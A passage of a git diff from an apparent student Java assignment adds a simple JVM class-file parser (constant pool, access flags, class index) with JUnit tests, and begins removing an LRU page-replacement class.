+				stringBuilder.append(", ");
+			}
+		}
+		return stringBuilder.toString();
+	}
+}
+
+class EmptyStackException extends RuntimeException {
+	public EmptyStackException() {
+		super();
+	}
+
+	public EmptyStackException(String string) {
+		super(string);
+	}
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/clz/AccessFlag.java b/group17/1264835468/src/assignment0326/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..f95bc2e902
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package assignment0326.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group17/1264835468/src/assignment0326/jvm/clz/ClassFile.java b/group17/1264835468/src/assignment0326/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..2cb501297d
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/clz/ClassFile.java
@@ -0,0 +1,77 @@
+package assignment0326.jvm.clz;
+
+
+import assignment0326.jvm.constant.ClassInfo;
+import assignment0326.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/clz/ClassIndex.java b/group17/1264835468/src/assignment0326/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..a3e5c3d350
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package assignment0326.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/ClassInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..4a7397478e
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package assignment0326.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/ConstantInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..f6acdc0580
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package assignment0326.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/ConstantPool.java b/group17/1264835468/src/assignment0326/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..96f40534da
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package assignment0326.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/FieldRefInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..d0beb7f1f2
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package assignment0326.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/MethodRefInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..3678f46c39
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package assignment0326.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/NameAndTypeInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..7659657b94
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package assignment0326.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/NullConstantInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..d8f8bda26e
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package assignment0326.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/StringInfo.java b/group17/1264835468/src/assignment0326/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..eb6b9b4d7e
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package assignment0326.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/constant/UTF8Info.java b/group17/1264835468/src/assignment0326/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..80f3389bd9
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package assignment0326.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/loader/ByteCodeIterator.java b/group17/1264835468/src/assignment0326/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..09d87c13b6
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,42 @@
+package assignment0326.jvm.loader;
+
+public class ByteCodeIterator {
+    int curPos;
+    byte[] bytes;
+
+    public ByteCodeIterator(byte[] bytes) {
+        curPos = 0;
+        this.bytes = bytes;
+    }
+
+    public boolean hasNext() {
+        return !(curPos >= bytes.length);
+    }
+
+    public byte nextByte() {
+        return bytes[curPos++];
+    }
+
+    public int nextByteToInt() {
+        return Byte.toUnsignedInt(nextByte());
+    }
+
+    public int next2BytesToInt() {
+        int hi = Byte.toUnsignedInt(nextByte());
+        int lo = Byte.toUnsignedInt(nextByte());
+        int i = hi << 8 | lo;
+        return i;
+    }
+
+    public byte[] nextNBytes(int n) {
+        byte[] bytes = new byte[n];
+        for (int i = 0; i < n; i++) {
+            bytes[i] = nextByte();
+        }
+        return bytes;
+    }
+
+    public void skip(int n) {
+        curPos += n;
+    }
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/loader/ClassFileLoader.java b/group17/1264835468/src/assignment0326/jvm/loader/ClassFileLoader.java
index a5add91113..3b05a1f761 100644
--- a/group17/1264835468/src/assignment0326/jvm/loader/ClassFileLoader.java
+++ b/group17/1264835468/src/assignment0326/jvm/loader/ClassFileLoader.java
@@ -1,9 +1,13 @@
 package assignment0326.jvm.loader;
 
+import assignment0326.jvm.clz.ClassFile;
+
 import java.io.BufferedInputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Paths;
 import java.util.ArrayList;
 import java.util.List;
 
@@ -13,47 +17,67 @@
 public class ClassFileLoader {
 
 
-        private List<String> clzPaths = new ArrayList<String>();
+    private List<String> clzPaths = new ArrayList<>();
 
-        public byte[] readBinaryCode(String className) {
-            String path = className.replace(".", File.separator);
-            File classFile=null;
-            for (String p: clzPaths) {
-                classFile=new File(p+File.separator+path+".class");
-                if(classFile.exists())
-                    break;
-            }
-            if(classFile==null)
-                throw new RuntimeException("no such class file");
+    public byte[] readBinaryCode(String className) {
+        String path = className.replace(".", File.separator);
+        File classFile = null;
+        for (String p : clzPaths) {
+            classFile = new File(p + File.separator + path + ".class");
+            if (classFile.exists())
+                break;
+        }
+        if (classFile == null)
+            throw new RuntimeException("no such class file");
 
-            byte[] bytes=new byte[(int)classFile.length()];
-            try (BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(classFile))){
-                bufferedInputStream.read(bytes, 0, bytes.length);
+        byte[] bytes = new byte[(int) classFile.length()];
+        try (BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(classFile))) {
+            bufferedInputStream.read(bytes, 0, bytes.length);
 
-            } catch (IOException e) {
-                e.printStackTrace();
-            }
-            return bytes;
+        } catch (IOException e) {
+            e.printStackTrace();
         }
+        return bytes;
+    }
 
 
-        public void addClassPath(String path) {
-            clzPaths.add(path);
+    public void addClassPath(String path) {
+        if (this.clzPaths.contains(path)) {
+            return;
         }
+        clzPaths.add(path);
+    }
 
 
-
-        public String getClassPath(){
-            StringBuilder stringBuilder=new StringBuilder();
-            for (int i = 0; i <clzPaths.size()-1; i++) {
-                stringBuilder.append(clzPaths.get(i) + ";");
-            }
-            stringBuilder.append(clzPaths.get(clzPaths.size()-1));
-            return stringBuilder.toString();
+    public String getClassPath() {
+        StringBuilder stringBuilder = new StringBuilder();
+        for (int i = 0; i < clzPaths.size() - 1; i++) {
+            stringBuilder.append(clzPaths.get(i) + ";");
         }
+        stringBuilder.append(clzPaths.get(clzPaths.size() - 1));
+        return stringBuilder.toString();
+    }
+
+
+    private byte[] loadClassFile(String clzFileName) {
 
+        try {
+
+            return Files.readAllBytes(Paths.get(clzFileName));
+
+
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
 
+    public ClassFile loadClass(String className) {
+        byte[] codes = this.readBinaryCode(className);
+        ClassFileParser parser = new ClassFileParser();
+        return parser.parse(codes);
 
+    }
 
 
 }
diff --git a/group17/1264835468/src/assignment0326/jvm/loader/ClassFileParser.java b/group17/1264835468/src/assignment0326/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..9543a917a9
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/loader/ClassFileParser.java
@@ -0,0 +1,133 @@
+package assignment0326.jvm.loader;
+
+import assignment0326.jvm.clz.AccessFlag;
+import assignment0326.jvm.clz.ClassFile;
+import assignment0326.jvm.clz.ClassIndex;
+import assignment0326.jvm.constant.*;
+
+
+public class ClassFileParser {
+
+    private ConstantPool constantPool;
+
+    public ClassFile parse(byte[] codes) {
+        ClassFile classFile = new ClassFile();
+        ByteCodeIterator iterator = new ByteCodeIterator(codes);
+        magicNumberVerify(iterator);
+
+        classFile.setMinorVersion(iterator.next2BytesToInt());
+        classFile.setMajorVersion(iterator.next2BytesToInt());
+
+        classFile.setConstPool(parseConstantPool(iterator));
+
+        classFile.setAccessFlag(parseAccessFlag(iterator));
+
+        classFile.setClassIndex(parseClassIndex(iterator));
+        return classFile;
+    }
+
+    private void magicNumberVerify(ByteCodeIterator iterator) {
+        String magicNumber=Integer.toHexString(iterator.nextByteToInt());
+        for (int i = 0; i < 3; i++) {
+            magicNumber += Integer.toHexString(iterator.nextByteToInt());
+        }
+        if (!"cafebabe".equals(magicNumber)) {
+            throw new RuntimeException("Illegal class file.");
+        }
+    }
+
+    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+        AccessFlag flag = new AccessFlag(iter.next2BytesToInt());
+        return flag;
+    }
+
+    private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+        ClassIndex classIndex = new ClassIndex();
+        classIndex.setThisClassIndex(iter.next2BytesToInt());
+        classIndex.setSuperClassIndex(iter.next2BytesToInt());
+        return classIndex;
+
+    }
+
+    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+        constantPool = new ConstantPool();
+        int size = iter.next2BytesToInt();
+        constantPool.addConstantInfo(new NullConstantInfo());
+        for (int i = 0; i < size - 1; i++) {
+            parseConstant(iter);
+        }
+        return constantPool;
+    }
+
+    private void parseConstant(ByteCodeIterator iter) {
+        int tag = iter.nextByteToInt();
+        ConstantInfo constantInfo;
+        switch (tag) {
+            case ConstantInfo.UTF8_INFO:
+                constantInfo = parseUTF8Info(iter);
+                break;
+            case ConstantInfo.CLASS_INFO:
+                constantInfo = parseClassInfo(iter);
+                break;
+            case ConstantInfo.STRING_INFO:
+                constantInfo = parseStringInfo(iter);
+                break;
+            case ConstantInfo.FIELD_INFO:
+                constantInfo = parseFieldInfo(iter);
+                break;
+            case ConstantInfo.METHOD_INFO:
+                constantInfo = parseMethodInfo(iter);
+                break;
+            case ConstantInfo.NAME_AND_TYPE_INFO:
+                constantInfo = parseNameAndTypeInfo(iter);
+                break;
+            default:
+                throw new RuntimeException("Unsupported tag");
+        }
+        constantPool.addConstantInfo(constantInfo);
+    }
+
+    private ConstantInfo parseUTF8Info(ByteCodeIterator iter) {
+        UTF8Info utf8Info = new UTF8Info(constantPool);
+        int length = iter.next2BytesToInt();
+        String value = new String(iter.nextNBytes(length));
+        utf8Info.setLength(length);
+        utf8Info.setValue(value);
+        return utf8Info;
+    }
+
+    private ConstantInfo parseClassInfo(ByteCodeIterator iter) {
+        ClassInfo classInfo = new ClassInfo(constantPool);
+        classInfo.setUtf8Index(iter.next2BytesToInt());
+        return classInfo;
+    }
+
+    private ConstantInfo parseStringInfo(ByteCodeIterator iter) {
+        StringInfo stringInfo = new StringInfo(constantPool);
+        stringInfo.setIndex(iter.next2BytesToInt());
+        return stringInfo;
+    }
+
+    private ConstantInfo parseFieldInfo(ByteCodeIterator iter) {
+        FieldRefInfo fieldRefInfo = new FieldRefInfo(constantPool);
+        fieldRefInfo.setClassInfoIndex(iter.next2BytesToInt());
+        fieldRefInfo.setNameAndTypeIndex(iter.next2BytesToInt());
+        return fieldRefInfo;
+    }
+
+    private ConstantInfo parseMethodInfo(ByteCodeIterator iter) {
+        MethodRefInfo methodRefInfo = new MethodRefInfo(constantPool);
+        methodRefInfo.setClassInfoIndex(iter.next2BytesToInt());
+        methodRefInfo.setNameAndTypeIndex(iter.next2BytesToInt());
+        return methodRefInfo;
+    }
+
+    private ConstantInfo parseNameAndTypeInfo(ByteCodeIterator iter) {
+        NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(constantPool);
+        nameAndTypeInfo.setIndex1(iter.next2BytesToInt());
+        nameAndTypeInfo.setIndex2(iter.next2BytesToInt());
+        return nameAndTypeInfo;
+    }
+
+
+}
diff --git a/group17/1264835468/src/assignment0326/jvm/test/ClassFileLoaderTest.java b/group17/1264835468/src/assignment0326/jvm/test/ClassFileLoaderTest.java
index 5ebb4075a6..3b507732bb 100644
--- a/group17/1264835468/src/assignment0326/jvm/test/ClassFileLoaderTest.java
+++ b/group17/1264835468/src/assignment0326/jvm/test/ClassFileLoaderTest.java
@@ -4,6 +4,9 @@
  * Created by Administrator on 2017/3/30.
  */
 
+import assignment0326.jvm.clz.ClassFile;
+import assignment0326.jvm.clz.ClassIndex;
+import assignment0326.jvm.constant.*;
 import assignment0326.jvm.loader.ClassFileLoader;
 import org.junit.After;
 import org.junit.Assert;
@@ -11,16 +14,23 @@
 import org.junit.Test;
 
 
-
-
-
 public class ClassFileLoaderTest {
 
+    private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 
     static String path1 = "D:\\GitHub\\group17\\1264835468\\bin";
     static String path2 = "C:\\Temp";
 
+    static ClassFile clzFile = null;
 
+    static {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "com.coderising.jvm.test.EmployeeV1";
+
+        clzFile = loader.loadClass(className);
+        //clzFile.print();
+    }
 
     @Before
     public void setUp() throws Exception {
@@ -31,7 +41,7 @@ public void tearDown() throws Exception {
     }
 
     @Test
-    public void testClassPath(){
+    public void testClassPath() {
 
         ClassFileLoader loader = new ClassFileLoader();
         loader.addClassPath(path1);
@@ -39,7 +49,7 @@ public void testClassPath(){
 
         String clzPath = loader.getClassPath();
 
-        Assert.assertEquals(path1+";"+path2,clzPath);
+        Assert.assertEquals(path1 + ";" + path2, clzPath);
 
     }
 
@@ -60,12 +70,12 @@ public void testClassFileLength() {
 
 
     @Test
-    public void testMagicNumber(){
+    public void testMagicNumber() {
         ClassFileLoader loader = new ClassFileLoader();
         loader.addClassPath(path1);
         String className = "assignment0326.jvm.test.EmployeeV1";
         byte[] byteCodes = loader.readBinaryCode(className);
-        byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+        byte[] codes = new byte[]{byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3]};
 
 
         String acctualValue = this.byteToHexString(codes);
@@ -74,17 +84,13 @@ public void testMagicNumber(){
     }
 
 
-
-
-
-
-    private String byteToHexString(byte[] codes ){
+    private String byteToHexString(byte[] codes) {
         StringBuffer buffer = new StringBuffer();
-        for(int i=0;i<codes.length;i++){
+        for (int i = 0; i < codes.length; i++) {
             byte b = codes[i];
             int value = b & 0xFF;
             String strHex = Integer.toHexString(value);
-            if(strHex.length()< 2){
+            if (strHex.length() < 2) {
                 strHex = "0" + strHex;
             }
             buffer.append(strHex);
@@ -92,4 +98,99 @@ private String byteToHexString(byte[] codes ){
         return buffer.toString();
     }
 
+    /**
+     * ----------------------------------------------------------------------
+     */
+
+
+    @Test
+    public void testVersion() {
+
+        Assert.assertEquals(0, clzFile.getMinorVersion());
+        Assert.assertEquals(52, clzFile.getMajorVersion());
+
+    }
+
+    @Test
+    public void testConstantPool() {
+
+
+        ConstantPool pool = clzFile.getConstantPool();
+
+        Assert.assertEquals(53, pool.getSize());
+
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+            Assert.assertEquals(2, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+        }
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+            Assert.assertEquals(4, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+        }
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+            Assert.assertEquals("name", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(6);
+            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(7);
+            Assert.assertEquals("age", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(8);
+            Assert.assertEquals("I", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(9);
+            Assert.assertEquals("<init>", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(10);
+            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(11);
+            Assert.assertEquals("Code", utf8Info.getValue());
+        }
+
+        {
+            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
+            Assert.assertEquals(3, methodRef.getClassInfoIndex());
+            Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+            Assert.assertEquals(9, nameAndType.getIndex1());
+            Assert.assertEquals(14, nameAndType.getIndex2());
+        }
+        //抽查几个吧
+        {
+            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(45);
+            Assert.assertEquals(1, methodRef.getClassInfoIndex());
+            Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+            Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+        }
+    }
+
+    @Test
+    public void testClassIndex() {
+
+        ClassIndex clzIndex = clzFile.getClzIndex();
+        ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+        ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+
+        Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+        Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+
 }
\ No newline at end of file
diff --git a/group17/1264835468/src/assignment0326/jvm/util/Util.java b/group17/1264835468/src/assignment0326/jvm/util/Util.java
new file mode 100644
index 0000000000..5855550bf8
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package assignment0326.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group17/1264835468/src/assignment0326/lru/Clock.java b/group17/1264835468/src/assignment0326/lru/Clock.java
deleted file mode 100644
index 274b6ebc80..0000000000
--- a/group17/1264835468/src/assignment0326/lru/Clock.java
+++ /dev/null
@@ -1,99 +0,0 @@
-package assignment0326.lru;
-
-import java.util.*;
-import java.util.stream.Collectors;
-
-/**
- *  Created by Administrator on 2017/3/29.
- */
-public class Clock {
-    private PageFrame[] pages;
-    private int capacity;
-    private int accessPtr;
